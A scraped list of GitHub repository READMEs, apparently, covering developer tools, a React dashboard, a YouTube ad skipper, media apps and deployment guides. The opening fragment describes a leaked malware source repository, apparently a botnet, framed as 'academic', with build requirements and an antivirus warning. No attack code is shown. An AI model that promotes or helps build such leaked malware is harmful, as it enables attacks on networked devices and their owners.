See "ForumPost.txt" or ForumPost.md for the post in which it leaks, if you want to know how it is all set up and the likes.

Requirements

gcc
golang
electric-fence
mysql-server
mysql-client

Credits

Anna-senpai

Disclaimer

This repository is for academic purposes, the use of this software is your responsibility.

Warning

The zip file for this repo is being identified by some AV programs as malware. Please take caution.

cbrooker/FAQMan

2023-10-30T01:25:50Z

rohitsawant/Testing

2023-10-29T01:48:53Z

flow-storm/flow-storm-debugger

2023-10-29T01:29:07Z

A debugger for Clojure and ClojureScript with some unique features.

jshou/primes

2023-10-29T01:29:07Z

clojure tool for finding the first n prime numbers

arrdem/decomp

2023-10-29T01:48:59Z

An HTML to Clojure translator

bblanton/clover

2023-10-29T01:48:59Z

POC for a Clojure ETL tool

hiredman/ideapad-storage

2023-10-29T01:48:59Z

storage service for ideapad

LizardByte/build-deps

2023-10-29T01:49:02Z

Prebuilt dependencies for LizardByte projects.

udacity/CppND-Capstone-Hello-World

2023-10-29T01:49:02Z

A "Hello World!" application using C++ with CMake

caselas/node-cc

2023-10-29T01:29:14Z

Grunt task for building a blog with markdown posts & underscore templates

gyulalaszlo/mustard2

2023-10-29T01:49:06Z

Structured, data-driven templating for JavaScript

blzkz/html5engine

2023-10-29T01:49:06Z

html5 engine

appwise/Blomquist

2023-10-29T01:49:12Z

varjagg/deptree

2023-10-29T01:29:18Z

System dependency listing and archiving tool for Common Lisp

#+startup: showall #+TITLE: Deptree: ASDF system dependency listing and archiving #+PROPERTY: header-args :results output #+OPTIONS: toc:nil #+INFOJS_OPT: view:showall toc:nil #+LATEX_CLASS: article #+LATEX_CLASS_OPTIONS: [a4paper, 11pt] #+LaTeX_HEADER: \usepackage{minted} #+LaTeX_HEADER: \usemintedstyle{common-lisp, fontsize=\scriptsize} #+LaTeX_HEADER: \usepackage[left=0.6in, right=0.6in]{geometry} #+LATEX_HEADER: \usepackage{fancyhdr} #+LATEX_HEADER: \pagestyle{fancyplain} #+LATEX_HEADER: \lhead{} #+LATEX_HEADER: \rhead{} #+LATEX_HEADER: \lfoot{} #+LATEX_HEADER: \rfoot{} #+HTML_HEAD:

Enumerating system's dependencies

(deptree /system-name/)

Example: ~~(deptree "hunchentoot")~~

The resulting list of system names is deduplicated and pruned of dependencies within same system directories.

Listing dependencies' pathnames

(systems-paths /dependencies/)

Example: ~~(systems-paths (deptree "hunchentoot"))~~

Archiving system's dependencies

(systems-archive /dependencies/ /tarball-pathname/ &key (/sanitize-p t/) (/path-prefix/ ""))

Example: ~~(systems-archive (deptree "hunchentoot") #p"/tmp/hunchentoot-deps.tgz")~~

Before archiving, make sure the dependencies are in fact present on your host. If you are using Quicklisp it's as easy as quickload-ing the system.

All systems directories are stored flat (with prepeneded ~~:PATH-PREFIX~~) regardless their original absolute pathnames. Since feature-conditional dependencies are honored, please ensure you're archiving from the relevant platform.

Unless ~~:SANITIZE-P~~ is NIL, the function will clean up git and Mercurial DVCS data from the archives.

verif-scop/PolCert

2023-10-30T01:26:11Z

A verified polyhedral scheduling validator in Coq.

amberframework/granite

2023-10-29T01:29:27Z

ORM Model with Adapters for mysql, pg, sqlite in the Crystal Language.

RandolphDR/Randolph-Flowers

2023-10-29T01:29:37Z

Code not mine copyright only for educational purposes!

creativetimofficial/paper-dashboard-react

2023-10-29T01:29:37Z

Paper Dashboard React

If you are a react developer or a react website owner that needs to work within a dashboard and want to have a pretty sight while doing so, Paper Dashboard React is for you. Paper Dashboard React is a Bootstrap Admin Panel which combines soft colours with beautiful typography and spacious cards and graphics. It is a powerful tool, but it is light and easy to use. It has enough features to allow you to get the job done, but it is not crowded to the point where you can't find the files for a specific plugin.

We like consistency and design that blends into its purpose. Paper Dashboard React is a perfect example of our most thoughtful work. It combines over a dozen components and plugins, while looking like everything fits together. For an easy start or inspiration for you project, we have also create a set of example pages, like the user settings or usage graphics.

Paper Dashboard React is built using the same design language as Paper Dashboard 2.

Bootstrap 4 Support Paper Dashboard React is built on top of the much awaited Bootstrap 4 and uses the most used react framework that implements the Bootstrap 4 components on react, reactstrap. This makes starting a new project very simple. It also provides benefits if you are already working on a Bootstrap 4 and/or reactstrap project; you can just import the Paper Dashboard React style over it. Most of the elements have been redesigned; but if you are using an element we have not touched, it will fall back to the Bootstrap default.

Example Pages We wanted to fully display the power of this dashboard, so the kit comes packed with examples showing you how to use the components.

Versions

HTML	React

Demo

Dashboard	User Profile	Tables	Maps	Notification

Quick start

Quick start options:

npm i paper-dashboard-react
Clone the repo: git clone https://github.com/creativetimofficial/paper-dashboard-react.git.
Download from Github.
Download from Creative Tim.

Documentation

The documentation for the Paper Dashboard React is hosted at our website.

File Structure

Within the download you'll find the following directories and files:

├── CHANGELOG.md
├── ISSUE_TEMPLATE.md
├── LICENSE.md
├── README.md
├── docs
│   └── documentation.html
├── jsconfig.json
├── package.json
├── public
│   ├── favicon.ico
│   ├── index.html
│   └── manifest.json
└── src
    ├── index.js
    ├── logo-white.svg
    ├── logo.svg
    ├── routes.js
    ├── components
    │   ├── FixedPlugin
    │   │   └── FixedPlugin.jsx
    │   ├── Footer
    │   │   └── Footer.jsx
    │   ├── Navbars
    │   │   └── DemoNavbar.jsx
    │   └── Sidebar
    │       └── Sidebar.jsx
    ├── layouts
    │   └── Admin.jsx
    ├── variables
    │   ├── charts.jsx
    │   ├── general.jsx
    │   └── icons.jsx
    ├── views
    │   ├── Dashboard.jsx
    │   ├── Icons.jsx
    │   ├── Map.jsx
    │   ├── Notifications.jsx
    │   ├── Tables.jsx
    │   ├── Typography.jsx
    │   ├── Upgrade.jsx
    │   └── User.jsx
    └── assets
        ├── css
        │   ├── paper-dashboard.css
        │   ├── paper-dashboard.css.map
        │   └── paper-dashboard.min.css
        ├── demo
        ├── fonts
        ├── github
        ├── img
        │   └── faces
        └── scss
            ├── paper-dashboard
            │   ├── cards
            │   ├── mixins
            │   ├── plugins
            │   └── react
            │       ├── custom
            │       └── react-differences.scss
            └── paper-dashboard.scss

Browser Support

At present, we officially aim to support the last two versions of the following browsers:

Resources

Demo: https://demos.creative-tim.com/paper-dashboard-react/#/dashboard
Download Page: https://www.creative-tim.com/product/paper-dashboard-react
Documentation: https://demos.creative-tim.com/paper-dashboard-react/#/documentation/tutorial
License Agreement: https://www.creative-tim.com/license
Support: https://www.creative-tim.com/contact-us
Issues: Github Issues Page

Reporting Issues

We use GitHub Issues as the official bug tracker for the Paper Dashboard React. Here are some advices for our users that want to report an issue:

Make sure that you are using the latest version of the Paper Dashboard React. Check the CHANGELOG from your dashboard on our website.
Providing us reproducible steps for the issue will shorten the time it takes for it to be fixed.
Some issues may be browser specific, so specifying in what browser you encountered the issue might help.

Technical Support or Questions

If you have questions or need help integrating the product please contact us instead of opening an issue.

Licensing

Copyright 2023 Creative Tim (https://www.creative-tim.com)
Licensed under MIT (https://github.com/creativetimofficial/paper-dashboard-react/blob/main/LICENSE.md)

Useful Links

More products from Creative Tim: https://www.creative-tim.com/products

Tutorials: https://www.youtube.com/channel/UCVyTG4sCw-rOvB9oHkzZD1w

Freebies: https://www.creative-tim.com/products

Affiliate Program (earn money): https://www.creative-tim.com/affiliates/new

Social Media:

Twitter: https://twitter.com/CreativeTim

Facebook: https://www.facebook.com/CreativeTim

Dribbble: https://dribbble.com/creativetim

Google+: https://plus.google.com/+CreativetimPage

Instagram: https://instagram.com/creativetimofficial

toriekimFSA/Flex.Demo.GroceryList

2023-10-29T01:29:37Z

Flex Review: JavaScript & DOM

Demo: Grocery List

In this demo, you will be creating a grocery list where you can add items to the list and clear all items from the list.

Requirements

The HTML does not contain any hard-coded data about grocery items
Use document.querySelector
The program initializes a state with a grocery list with at least 2 items
When the "Add" button is clicked, a new item is added to the grocery list
- Can be from items array OR a new item with a random price and random quantity
- Extra: Make sure input value is not empty before adding to the list
- Extra: If the item already exists in the grocery list, add to and update the item
When the "Clear Items" button is clicked, all items are cleared
A function is written that correctly calculates the total price of all the items on the grocery list
A function is written that correctly calculates the total qty of all the items on the grocery list
The DOM is updated to reflect the total price and total quantity

Sample solution code on the solution branch.

Extra Challenges

Expand this simple app by adding the following features:

Add - and + buttons on either side of an item's quantity
- When you click -, the item's quantity decreases by 1
- When you click +, the item's quantity increases by 1
Add a hover effect over a <tr> line item
When you click on an item (<tr>), cross it out, i.e. ~~strikethrough~~
Add delete/clear 1 item functionality

Credit

Inspired by Grocery Bud from javascript-basic-projects by John Smilga

0x48piraj/fadblock

2023-10-29T01:49:34Z

Friendly Adblock for YouTube: A fast, lightweight, and undetectable YouTube Ads Blocker for Chrome, Opera and Firefox.

_{A fast, lightweight, and undetectable YouTube Ads Blocker for Chrome, Opera and Firefox.}

FadBlock: Friendly Adblock for Youtube™

This was posted over reddit a few months ago, Apparently Ad Blockers are not allowed on Youtube. Is this a new thing they've implemented? and judging by all the recent comments and posts all over r/youtube, this change was just rolled out on a larger scale.

This blocker is designed to monitor advertisements, automatically seek the ads and skip them. It's important to note that this doesn't classify as traditional ad blocking, as the ad content is technically "loaded".

Nevertheless, the extension's underlying logic enables it to fast-forward through the ad content to its conclusion. The entire process is optimized to occur within an extremely brief timeframe, typically <=100 milliseconds, ensuring a smooth and uninterrupted user experience.

MAJOR ANNOUNCEMENT 📣📣📣

Faster, smoother and better than ever!

The upcoming version will utilize a custom MutationObserver with polyfill to ensure compatibility with older browsers. This was the initial reason for not implementing MO from the start.

The next version will expand onto YouTube Music 🎉, will have a blocked-ads counter while including other niche features as well as proposed bugfixes 🚀.

As this project has demanded a substantial amount of time, the repository will transition to an open-core model for ongoing maintenance and updates ✨.

Features

This extension effectively eliminates all categories of YouTube advertisements:

Category 1: Ads visible on the homepage.

Category 2: Ads overlaid atop the suggested video list.

Category 3: Ads displayed below the video description.

Starting on April 6th, 2023, the “Overlay ads” ad format will no longer appear on YouTube to help improve the viewer experience and shift engagement to higher performing ad formats on desktop and mobile devices. Overlay ads are a legacy ad format that only served on desktop and are disruptive for viewers.

Category 4: Skippable 5-second-must-be-watched video ads, which may be positioned at the video's start, midway, or at the end.

Category 5: Ads similar to Category 4, but with two consecutive video ads instead of one.

Category 6: Inescapable 10-second video ads, which must be watched.

FAQ

It is not working!

You will have to disable other adblockers as they are getting detected. It's not due to FadBlock as the technique it uses is completely different than other adblockers. It's hacky but it works and Google can't do jack (for the most part).

Some of the extensions that does not and do work with fadblock are listed down below,

Name of the extension	Getting detected
uBlock Origin	✔️
Enhancer For Youtube	✔️
SponsorBlock for YouTube	❌ (probably)
Return YouTube Dislike	❌
Malwarebytes extension	✔️
Brave in-built adblock	✔️
Firefox in-built adblock	✔️

You can also add youtube.com to the exception list for domains on other adblockers (uBlock Origin, AdBlock) and then download FadBlock to override regular adblock being prioritized on YouTube while the conventional adblocker will work across the remainder of the Internet.

Note: If you're still getting the YouTube's Adblock warning, look at your extensions, disable extensions one-by-one until you find your culprit. If you still can't find it, change your browser to Chrome (as it has no in-built adblocker) and test again. If it still doesn't work, then and only then create an issue.

Chrome extension says "Read your browsing history"?

Prime example of Google being nonsensical, again. Firefox doesn't and they share the same code. (read in detail here)

Why there's no privacy policy?

There’s no privacy policy as there’s no data collection at all, not even analytical data for error reporting. Everything happens locally. No remote connections are made, nada!

How do I use it for my phone?

Unfortunately there’s no app or anything. You cannot install Chrome extensions on the Chrome browser on Android, but several Chromium-based third-party browsers support extensions (e.g. brave browser).

Note: You will have to leave YouTube app and watch over a browser (not very elegant, sorry)

Install FadBlock to Opera, Edge, Brave and Safari

This section explains on how to install the extension utilizing the developer mode as well as Chromium-based browsers,

Opera & Edge

Go to the extensions manager page for Opera (opera://extensions) or Edge (edge://extensions), turn on developer mode and click on Load Unpacked.

Brave Browser

You can visit Chrome Web Store and download the extension.

Install over Safari on macOS

Download the Userscripts from the App Store
To open Userscripts and enable Safari extensions settings, open Userscripts (userscriptsurlscheme://), then select the checkbox next to Userscripts.
Click on the Userscripts icon at the top of Safari to open the script editor and create a new JS file. Then, copy the code from fadblock.user.js and paste it into the newly created JS file.

Show your support

Follow me on GitHub @0x48piraj for updates.
I do not ask for donations, all I ask is that you star (⭐) this repository.

Disclaimer

This software is provided for educational purposes only and is provided "AS IS", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

AsmrProg-YT/Modern-Login

2023-10-29T01:49:34Z

AsmrProg Youtube Channel Modern Login Design Source Code

Modern Login Page

In this tutorial (Open in Youtube), I'm going to show you how to use modern HTML, CSS, and JavaScript to create a complete Login Page Design with Login and Sign up animations. We'll be using CSS Flexbox, CSS transition for some cool animation effects and also CSS keyframes!

Screenshot

Here we have project screenshot :

AsmrProg

We create a project each 4 days with voting on our Youtube channel. You can vote for upcoming projects on our channel community page 😉

mwittrien/BetterDiscordAddons

2023-10-29T01:49:34Z

A series of plugins and themes for BetterDiscord.

BetterDiscord Addons

A Series of Plugins and Themes for BetterDiscord

Plugins

Themes

lzhnb/CuMCubes

2023-10-30T01:26:20Z

CUDA implementation of Marching Cubes for Python (Depends on torch)

zly5/OpenMP-and-PThread_Matrix-Multiplication

2023-10-29T01:49:31Z

Multithreaded matrix multiplication and analysis based on OpenMP and PThread

JonathonLuiten/diff-gaussian-rasterization-w-depth

2023-10-29T01:49:31Z

renancaraujo/turi

2023-10-29T01:29:59Z

A Fragment shader based game using Flame and Flutter

Turi

Generated by the Very Good CLI 🤖

A Fragment Shader based game using Flame and Flutter

3003h/FEhViewer

2023-10-29T01:29:59Z

An e-hentai/exhentai app make on flutter

FEhViewer

English | 简体中文

Introduction

An Unofficial e-hentai app make on flutter

🔍 Translations Wanted 🔍

Please submit a pull request if you want to help with translation.

App Strings: lib/l10n/{lang}.arb

Installation for iOS

Get the ipa file from Releases.
Use some software like AltStore to install the ipa file on your device. Or AltStore.json

Descriptions

The main reference for UI is E-HentaiViewer

Current Issues:

List sliding may have a small lag. Not as smooth as native apps
Does miss some essential features (still under development)

Thanks

The code and logic of the following projects are used and referenced for development

EhTagTranslation

EhTagTranslation/Database

Translation

KeepSOBP Korean translation
pursel, Gigas002 -- Russian translation

Screenshot

Home Page List

Gallery

Search

Read

Function

Popula,Watch,Home,Favorites
List View,Waterfall View Switch
Gallery information view
Gallery Image view
Automatically turn pages
eh/ex switch
Tag search
Login
Search
Search term matching tag
Advanced search
Save and share images
Cache optimization
Advanced settings
post comments, vote up ，vote down
watched and user tag
Download

TODO

Dependency projects/plugins (partial)

network: dio
Status Management: getx
db: sqflite
Data Persistence: shared_preferences
intl: intl
Image: cached_network_image、extended_image

About compiling

flutter version is the latest release version
rename /lib/config/config.dart.sample to /lib/config/config.dart

3003h/FEhViewer

2023-10-29T01:50:06Z

An e-hentai/exhentai app make on flutter

FEhViewer

English | 简体中文

Introduction

An Unofficial e-hentai app make on flutter

🔍 Translations Wanted 🔍

Please submit a pull request if you want to help with translation.

App Strings: lib/l10n/{lang}.arb

Installation for iOS

Get the ipa file from Releases.
Use some software like AltStore to install the ipa file on your device. Or AltStore.json

Descriptions

The main reference for UI is E-HentaiViewer

Current Issues:

List sliding may have a small lag. Not as smooth as native apps
Does miss some essential features (still under development)

Thanks

The code and logic of the following projects are used and referenced for development

EhTagTranslation

EhTagTranslation/Database

Translation

KeepSOBP Korean translation
pursel, Gigas002 -- Russian translation

Screenshot

Home Page List

Gallery

Search

Read

Function

Popula,Watch,Home,Favorites
List View,Waterfall View Switch
Gallery information view
Gallery Image view
Automatically turn pages
eh/ex switch
Tag search
Login
Search
Search term matching tag
Advanced search
Save and share images
Cache optimization
Advanced settings
post comments, vote up ，vote down
watched and user tag
Download

TODO

Dependency projects/plugins (partial)

network: dio
Status Management: getx
db: sqflite
Data Persistence: shared_preferences
intl: intl
Image: cached_network_image、extended_image

About compiling

flutter version is the latest release version
rename /lib/config/config.dart.sample to /lib/config/config.dart

namidaco/namida

2023-10-29T01:50:06Z

A Beautiful and Feature-rich Music & Video Player with Youtube Support, Built in Flutter

Namida

A Beautiful and Feature-rich Music & Video Player with Youtube Support, Built in Flutter

Sections:

🎉 Features

Everything you might expect from a music player, in addition to the following:

Library & Indexing

Powerful Indexer & Tag Editor, powered by @jaudiotagger.
Artists and Genres Separators.
Prevent Duplicated Tracks.
Set Minimum File Size & Duration.
Folders-based Library system, with the ability to exclude folders as well.
Sort by almost any property of the track or the album.. etc.

Look & Feel

Material3-like Theme.
Dynamic Theming, Player Colors are picked from the current album artwork.
Home, Tracks, Albums, Artists, Genres, Playlists, Queues and Folders Pages.
Waveform Seekbar.
Lots of customizations (check out customization section).

Streaming

Best Video & Audio Quality
Audio Only Mode
Support Caching & Offline Playback
Support Downloads
Video View with gestures support (swipe to control volume, double tap to seek, swipe up/pinch in to enter fullscreen, etc)
Edit tags for downloads
Optional Auto title/artist/album extraction for downloads and scrobbling

Others:

Sleep Timer (Tracks or Minutes)
Play/Pause Fade Effect, along with Skip Silence.
Control pausing scenarios (calls, notifications, volume 0, etc..)
Define parameters to use for filtering tracks in search lists.
Global Tracks Selection
- allows u to select from multiple places into the same list.
Never miss your sessions!
- persistent and reliable queue system, your sessions are saved for later usage.
Reliable History System
- despite being a flexible system (easily modified, manipulated, imported), it lets u specifiy minimum seconds/percentage to count a listen.
Most Played Playlist
- find out your top tracks based on your history record.

Some additional cool features:

Smort Tracks Generation:
- uuh.. with dis advanced algorithm brought for you, u can generate tracks related to one you currently listening to, typically the ones that you often listened to in the same period. based on your history.
- also u can generate tracks released around the same time, or from specific range of time, from ratings, from available moods, or randomly.
Animating Thumbnail:
- A thumbnail that animates with the current audio peak, looks cool.
Miniplayer Party Mode:
- Applies an edge breathing effect, colors can be static or dynamic (all the colors extracted from the artwork)
Particles Effect
- they speed up with the audio peak too
Track Play Mode
- when playing from search, you can selected wether to play: selected track only, search results, album, first artist or first genre.
Insert after latest inserted
- Want to insert multiple tracks one after each other? this will get your back.
Repeat for N times
- in addition to normal repeat modes (all, none, one), this one lets you repeat the track for number of times before playing the next track.
Extract feat. & ft. artist
- u won't miss the featured artists in the title, they'll have their own entry inside artists tab.
CAN IMPORT YOUTUBE HISTORY
LASTFM TOO AND MAYBE MORE IN FUTURE
you gonna find decent amount of options/customizations in the settings and inside dialogs so make sure to check them out.

Video Integration

For Local Library, Namida is capable of playing videos related to the music, Video can be found either locally or fetched from youtube

How locally?

typically looks (inside the folders you specificed) for any matching title, matching goes as following:
-- Alan walker - Faded.m4a
-- video alAn WaLkER - faDed (480p).mp4
the video filename should contain at least one of the following:
1. the music filename as shown above.
2. title & first artist of the track.
note: some cleanup is made to improve the matching, all symbols & whitespaces are ignored.

How youtube?

• looks up in the track comment tag (as they are mostly done by @yt-dlp) or filename for any matching youtube link, if found then it starts downloading (and caches) and plays once it's ready, streaming here isn't a good idea as the priority goes for the music file itself.

Screenshots

Customization Settings

YouTube Miniplayer

Usage Preview

Animating Thumbnail	Recommends & Listens

Installation

Download latest version from releases page
Available variants are arm & arm64

Permission Note:

the following actions require `all_files_access` permission (requested when needed)

editing audio tags

creating or restoring backups

saving artworks

compressing images

downloading youtube content

playing tracks from a root folder

Special Thanks:

@Artx-II for their initial dart port of Newpipe Extractor, which powers youtube section.

@cameralis for their awesome miniplayer physics.

@alexmercerind for helping me out a lot.

@lusaxweb for their awesome Iconsax icon pack.

All packages' maintainers which made namida possible.

© Logo by @midjourney

Donate

Donation will help improve namida and will show appreciation.

Don't forget to 🌟 star the repo if you like the project.

Social

join us on our platforms for updates, tips, discussion & ideas

LICENSE

Project is licensed under EULA License.

© Copyright (C) 2023-present Namidaco <namida.coo@gmail.com>
- You may read/compile/modify the code for your personal usage, or for the purpose of contribution for the software.
- Redistributing the program as a whole under different name or license without permission is not allowed.

cross-rs/cross-toolchains

2023-10-29T01:30:19Z

Additional Dockerfiles and crosstool-ng config files to build additional toolchains.

`cross-toolchains`

Additional Dockerfiles and crosstool-ng config files to build images for additional targets. These enable the use of additional targets, and different glibc or GCC versions.

First, clone cross and update the submodules.

git clone https://github.com/cross-rs/cross
cd cross
git submodule update --init --remote

Then, you can build your images as shown in Targets.

ℹ️ These images are not tested with CI, and therefore may break. Issues or pull requests to fix broken images are greatly appreciated. Each image is only confirmed to at least build once.

Configure

The config files are configured via cargo xtask configure-crosstool, which may be customized by the following flags/environment variables:

--gcc-version, GCC_VERSION: The GCC version (default 8.3.0)
--glibc-version, GLIBC_VERSION: The glibc version (default 2.17)
--linux-version, LINUX_VERSION: The Linux version (default 4.19.21)

If no targets are provided, all crosstool images will be configured, otherwise, only the selected targets will be built. For example:

# only configure the config file for a single target
$ cargo xtask configure-crosstool arm-unknown-linux-gnueabihf
# configure all config files for crosstool images
$ cargo xtask configure-crosstool

Targets

The image names don't map identically to the target names, to avoid conflicting with those provided in the cross repository. This table maps the target names to the image names:

Target Name	Image Name
aarch64-apple-darwin	aarch64-apple-darwin-cross
aarch64-apple-ios	aarch64-apple-ios-cross
aarch64-pc-windows-msvc	aarch64-pc-windows-msvc-cross
aarch64_be-unknown-linux-gnu	aarch64_be-unknown-linux-gnu-cross
i686-apple-darwin	i686-apple-darwin-cross
i686-pc-windows-msvc	i686-pc-windows-msvc-cross
s390x-unknown-linux-gnu	s390x-unknown-linux-gnu-cross
thumbv7a-pc-windows-msvc	thumbv7a-pc-windows-msvc-cross
thumbv7neon-unknown-linux-musleabihf	thumbv7neon-unknown-linux-musleabihf-cross
x86_64-apple-darwin	x86_64-apple-darwin-cross
x86_64-pc-windows-msvc	x86_64-pc-windows-msvc-cross
x86_64-unknown-linux-gnu	x86_64-unknown-linux-gnu-sde-cross

For example, to build and run an image, you would configure the image with:

cargo build-docker-image s390x-unknown-linux-gnu-cross --tag local

And then update Cross.toml in your crate to specify the target:

[target.s390x-unknown-linux-gnu]
image = "ghcr.io/cross-rs/s390x-unknown-linux-gnu-cross:local"

Additional config files for any supported platforms are appreciated. Please note that many of these images are tier 3 targets, and do not have pre-built versions of the standard library. You must provide the build-std config option when building crates requiring std support.

Apple Targets

Due to licensing reasons, we cannot provide images of *-apple-darwin targets, nor host the macOS SDK. osxcross has instructions for how to package the sdk, which you can then provide to the Docker image as either a local file or download link. Pre-packaged tarballs can also be found online, however, for legal reasons, we do not provide links here.

Darwin Targets

You can provide either a download URL or a path to a local file when building:

$ cargo build-docker-image i686-apple-darwin-cross \
  --build-arg 'MACOS_SDK_URL=$URL'
$ cargo build-docker-image i686-apple-darwin-cross \
  --build-arg 'MACOS_SDK_DIR=$DIR' \
  --build-arg 'MACOS_SDK_FILE=$FILE'

If not provided, MACOS_SDK_DIR defaults to the build context of the Dockerfile. MACOS_SDK_FILE must be a file within this repository's docker/ folder. It also must keep the name given by osxcross, as version checks otherwise fail. For example:

$ mv osxcross/MacOSX11.3.sdk.tar.xz cross-toolchains/docker/MacOSX11.3.sdk.tar.xz
$ cargo build-docker-image aarc64-apple-darwin \
  --build-arg 'MACOS_SDK_FILE=MacOSX11.3.sdk.tar.xz'
# or
$ mv osxcross/MacOSX11.3.sdk.tar.xz cross-toolchains/docker/some-dir/MacOSX11.3.sdk.tar.xz
$ cargo build-docker-image aarc64-apple-darwin \
  --build-arg 'MACOS_SDK_DIR=some-dir' \
  --build-arg 'MACOS_SDK_FILE=MacOSX11.3.sdk.tar.xz'

Supported targets by SDK version (at least 10.7+):

i686-apple-darwin: SDK <= 10.13
x86_64-apple-darwin: SDK <= 13.0 or SDK <= 12.4
aarc64-apple-darwin: SDK >= 10.16 and (SDK <= 13.0 or SDK <= 12.4)

iOS Targets

You can provide either a download URL or a path to a local file when building:

$ cargo build-docker-image aarch64-apple-ios-cross \
  --build-arg 'IOS_SDK_URL=$URL'
$ cargo build-docker-image aarch64-apple-ios-cross \
  --build-arg 'IOS_SDK_DIR=$DIR' \
  --build-arg 'IOS_SDK_FILE=$FILE'

If not provided, IOS_SDK_DIR defaults to the build context of the Dockerfile. Note that this file must be a subdirectory of the build context.

Supported targets by SDK version (at least 9.3+):

aarch64-apple-ios: any SDK version
armv7-apple-ios: not supported
armv7s-apple-ios: not supported
i686-apple-ios: not supported
x86_64-apple-ios: not supported

Known Issues

Older toolchains, such as GCC v4.9.4, do not work with the hardcoded ISL v0.20.
s390x toolchains cannot be built with glibc below v2.20, due to missing symbols in nptl/sysdeps/s390/tls.h.
aarch64_be toolchains cannot be built with older glibc versions, due relocations (tested to work in v2.31, failed in v2.20).
MSVC and iOS targets may fail with more complex build systems, such as OpenSSL. macOS targets have no issues.

Code of Conduct

Contribution to this crate is organized under the terms of the Rust Code of Conduct, the maintainer of this crate, the cross-rs team, promises to intervene to uphold that code of conduct.

ops-guru/og-helm-kafka-mm

2023-10-29T01:50:29Z

Helm Chart to deploy and run Kafka MirrorMaker on Kubernetes - https://www.opsguru.io

Kafka MirrorMaker Helm Chart

Helm Chart for Production Grade Kafka MirrorMaker deployment on Kubernetes inspired by Confluent Helm charts (https://github.com/confluentinc/cp-helm-charts)

Pre-requirements:

Kubectl
GKE Cluster (Kubernetes 1.9.2+)
Helm 2.8.2+
A healthy and accessible Kafka Cluster

Deployment on GKE:

// create cluster
gcloud container clusters create test
gcloud container clusters get-credentials test

//initialise helm
helm init

// override helm issue with rbac
kubectl create serviceaccount --namespace kube-system tiller
kubectl create clusterrolebinding tiller-cluster-rule --clusterrole=cluster-admin --serviceaccount=kube-system:tiller
kubectl patch deploy --namespace kube-system tiller-deploy -p '{"spec":{"template":{"spec":{"serviceAccount":"tiller"}}}}'

//deploy mirrormaker
helm install --set kafka.consumerConfig.bootstrap\.servers="dev3-kafka:9092",kafka.producerConfig.bootstrap\.servers="dev4-kafka:9092"  ./og-kafka-mm/

Docker Image Source:

DockerHub -> opsguruhub

(Also included in ./docker-src)

Kafka MirrorMaker Deployment

The configuration parameters in this section control the resources requested and utilized by the og-kafka-mm chart.

Parameter	Description	Default
`replicaCount`	The number of Kafka Kafka MirrorMaker Servers.	`1`

Image

Parameter	Description	Default
`image`	Docker Image of Kafka MirrorMaker.	`opsguruhub/og-kafka-mm`
`imageTag`	Docker Image Tag of Kafka MirrorMaker.	`latest`
`imagePullPolicy`	Docker Image Tag of Kafka MirrorMaker.	`IfNotPresent`
`imagePullSecrets`	Secrets to be used for private registries.	see values.yaml for details

Kafka MM JVM Heap Options

Parameter	Description	Default
`heapOptions`	The JVM Heap Options for Kafka MirrorMaker	`"-Xms1024M -Xmx1024M"`

Resources

Parameter	Description	Default
`resources.requests.cpu`	The amount of CPU to request.	see values.yaml for details
`resources.requests.memory`	The amount of memory to request.	see values.yaml for details
`resources.requests.limit`	The upper limit CPU usage for a Kafka Connect Pod.	see values.yaml for details
`resources.requests.limit`	The upper limit memory usage for a Kafka Connect Pod.	see values.yaml for details

Annotations

Parameter	Description	Default
`podAnnotations`	Map of custom annotations to attach to the pod spec.	`{}`

JMX Configuration

Parameter	Description	Default
`jmx.port`	The jmx port which JMX style metrics are exposed.	`9998`
`jmx.enabled`	Whether or not to install Prometheus JMX Exporter as a sidecar container and expose JMX metrics to Prometheus.	`true`

Prometheus JMX Exporter Configuration

Parameter	Description	Default
`prometheus.jmx.image`	Docker Image for Prometheus JMX Exporter container.	`solsson/kafka-prometheus-jmx-exporter@sha256`
`prometheus.jmx.imageTag`	Docker Image Tag for Prometheus JMX Exporter container.	`6f82e2b0464f50da8104acd7363fb9b995001ddff77d248379f8788e78946143`
`prometheus.jmx.port`	JMX Exporter Port which exposes metrics in Prometheus format for scraping.	`5556`
`prometheus.jmx.resources`	JMX Exporter resources configuration.	see values.yaml for details

Deployment Topology

Parameter	Description	Default
`nodeSelector`	Dictionary containing key-value-pairs to match labels on nodes. When defined pods will only be scheduled on nodes, that have each of the indicated key-value pairs as labels. Further information can be found in the Kubernetes documentation	`{}`
`tolerations`	Array containing taint references. When defined, pods can run on nodes, which would otherwise deny scheduling. Further information can be found in the Kubernetes documentation	`{}`

Dependencies

Kafka

Parameter	Description	Default
`kafka.topicWhitelist`	Regex for a topic whitelist	`".*"`
`kafka.numStreams`	Number of consumers to create	`"1"`
`kafka.overrideGroupId`	Specify custom group.id. Do not specify group.id in `kafka.consumerConfig` - use this variable to override the default	`".Release.Name"`
`kafka.consumerProperties`	Kafka consumer settings. This should include `kafka.bootstrap.servers`
`kafka.producerProperties`	Kafka producer settings. This should include `kafka.bootstrap.servers`

shipping-docker/php-app

2023-10-29T01:50:29Z

A containerized Laravel application

Containerized PHP Application

What is this?

This is an example of how you can quickly get up and running with Docker to develop a PHP application. This is a companion to the 🐳 Shipping Docker video series.

Teach me how to use it!

I have a mini-course that uses this example to show you how to get up and running in Docker for development!

Sign up here to get an email with a link to the mini course to see how this works!

How to use

1. Get the files and spin up containers

# Get shipping-docker files
git clone https://github.com/shipping-docker/php-app.git
cd php-app

# Start the app, run containers
#   in the background
# This will download and build the images
#   the first time you run this
docker-compose up -d

At this point, we've created containers and have them up and running. However, we didn't create a Laravel application to serve yet. We waited because we wanted a PHP image to get created so we can re-use it and run composer commands.

2. Create a new Laravel application

# From directory "php-app"
# Create a Laravel application
docker run -it --rm \
    -v $(pwd):/opt \
    -w /opt \
    --network=phpapp_appnet \
    shippingdocker/php \
    composer create-project laravel/laravel application

docker run -it --rm \
    -v $(pwd)/application:/opt \
    -w /opt \
    --network=phpapp_appnet \
    shippingdocker/php \
    composer require predis/predis

# Restart required to ensure
# app files shares correctly
docker-compose restart

Edit the application/.env file to have correct settings for our containers. Adjust the following as necessary:

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret

BROADCAST_DRIVER=log
CACHE_DRIVER=redis
SESSION_DRIVER=redis
QUEUE_DRIVER=sync

REDIS_HOST=redis
REDIS_PASSWORD=null
